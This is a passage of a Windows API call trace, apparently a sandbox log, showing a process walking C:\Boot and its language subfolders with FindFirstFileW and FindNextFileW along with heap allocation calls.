(in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0052.046] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0052.046] GetProcessHeap () returned 0x730000 [0052.046] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.047] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.047] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.047] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.047] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.047] GetProcessHeap () returned 0x730000 [0052.047] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.047] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0052.047] GetProcessHeap () returned 0x730000 [0052.047] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.048] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.048] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.048] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.048] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.048] GetProcessHeap () returned 0x730000 [0052.048] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.048] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0052.048] GetProcessHeap () returned 0x730000 [0052.048] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.049] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.049] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.049] GetProcessHeap () returned 0x730000 [0052.049] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0052.049] GetProcessHeap () returned 0x730000 [0052.049] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.050] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.050] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.050] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.050] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.050] GetProcessHeap () returned 0x730000 [0052.050] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.050] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.050] GetProcessHeap () returned 0x730000 [0052.050] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.064] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.064] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.064] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.064] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.064] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.064] GetProcessHeap () returned 0x730000 [0052.064] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.064] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0052.064] GetProcessHeap () returned 0x730000 [0052.064] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.065] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.066] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.066] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.066] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.066] GetProcessHeap () returned 0x730000 [0052.066] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0052.066] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0052.066] GetProcessHeap () returned 0x730000 [0052.066] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0052.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.066] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.066] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.066] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, 